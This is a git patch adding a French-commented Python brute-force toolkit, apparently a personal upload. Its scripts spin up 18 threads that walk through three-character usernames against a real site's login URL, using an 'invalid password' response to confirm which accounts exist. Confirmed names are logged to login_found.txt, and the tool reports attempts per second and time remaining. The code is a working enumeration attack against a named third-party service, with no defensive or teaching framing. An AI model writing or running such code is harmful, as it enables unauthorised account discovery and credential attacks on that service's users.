From 941a501af158113c17ba4f729e04f181cdf61908 Mon Sep 17 00:00:00 2001 From: toutpuissantged <58160473+toutpuissantged@users.noreply.github.com> Date: Tue, 4 Aug 2020 10:04:46 +0000 Subject: [PATCH] Add files via upload --- crack3/algo.py | 64 +++ crack3/crack-lite.py | 1114 ++++++++++++++++++++++++++++++++++++++ crack3/crack-lite2.py | 1077 +++++++++++++++++++++++++++++++++++++ crack3/crack-lite3.py | 1077 +++++++++++++++++++++++++++++++++++++ crack3/crack.py | 1165 ++++++++++++++++++++++++++++++++++++++++ crack3/crack2.py | 1165 ++++++++++++++++++++++++++++++++++++++++ crack3/crack3.py | 1165 ++++++++++++++++++++++++++++++++++++++++ crack3/imp.py | 1 + crack3/login.py | 216 ++++++++ crack3/login_found.txt | 3 + crack3/mod.py | 227 ++++++++ crack3/mod2.py | 216 ++++++++ crack3/mod3.py | 216 ++++++++ crack3/mod4.py | 218 ++++++++ crack3/modp1.py | 228 ++++++++ crack3/modp2.py | 235 ++++++++ crack3/modp3.py | 238 ++++++++ crack3/password.py | 237 ++++++++ crack3/recov.ck | 1 + crack3/test.py | 1165 ++++++++++++++++++++++++++++++++++++++++ 20 files changed, 10028 insertions(+) create mode 100644 crack3/algo.py create mode 100644 crack3/crack-lite.py create mode 100644 crack3/crack-lite2.py create mode 100644 crack3/crack-lite3.py create mode 100644 crack3/crack.py create mode 100644 crack3/crack2.py create mode 100644 crack3/crack3.py create mode 100644 crack3/imp.py create mode 100644 crack3/login.py create mode 100644 crack3/login_found.txt create mode 100644 crack3/mod.py create mode 100644 crack3/mod2.py create mode 100644 crack3/mod3.py create mode 100644 crack3/mod4.py create mode 100644 crack3/modp1.py create mode 100644 crack3/modp2.py create mode 100644 crack3/modp3.py create mode 100644 crack3/password.py create mode 100644 crack3/recov.ck create mode 100644 crack3/test.py diff --git a/crack3/algo.py b/crack3/algo.py new file mode 100644 index 0000000..394887e --- /dev/null +++ b/crack3/algo.py @@ -0,0 +1,64 @@ +import time +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + file2=open('recov.ck','w') + file2.write(str(u)) + file2.close() + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + print(user) + +crack() + diff --git a/crack3/crack-lite.py b/crack3/crack-lite.py new file mode 100644 index 0000000..96d1cac --- /dev/null +++ b/crack3/crack-lite.py @@ -0,0 +1,1114 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack3(): + rec=4 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack4(): + rec=6 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack5(): + rec=8 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack6(): + rec=10 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack7(): + rec=12 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack8(): + rec=14 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack9(): + rec=16 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack10(): + rec=18 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack11(): + rec=20 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack12(): + rec=22 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack13(): + rec=24 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack14(): + rec=26 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack15(): + rec=28 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack16(): + rec=30 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack17(): + rec=32 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack18(): + rec=34 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 diff --git a/crack3/crack-lite2.py b/crack3/crack-lite2.py new file mode 100644 index 0000000..c77f056 --- /dev/null +++ b/crack3/crack-lite2.py @@ -0,0 +1,1077 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack3(): + rec=4 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack4(): + rec=6 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack5(): + rec=8 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack6(): + rec=10 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack7(): + rec=12 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack8(): + rec=14 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack9(): + rec=16 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack10(): + rec=18 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack11(): + rec=20 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack12(): + rec=22 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + 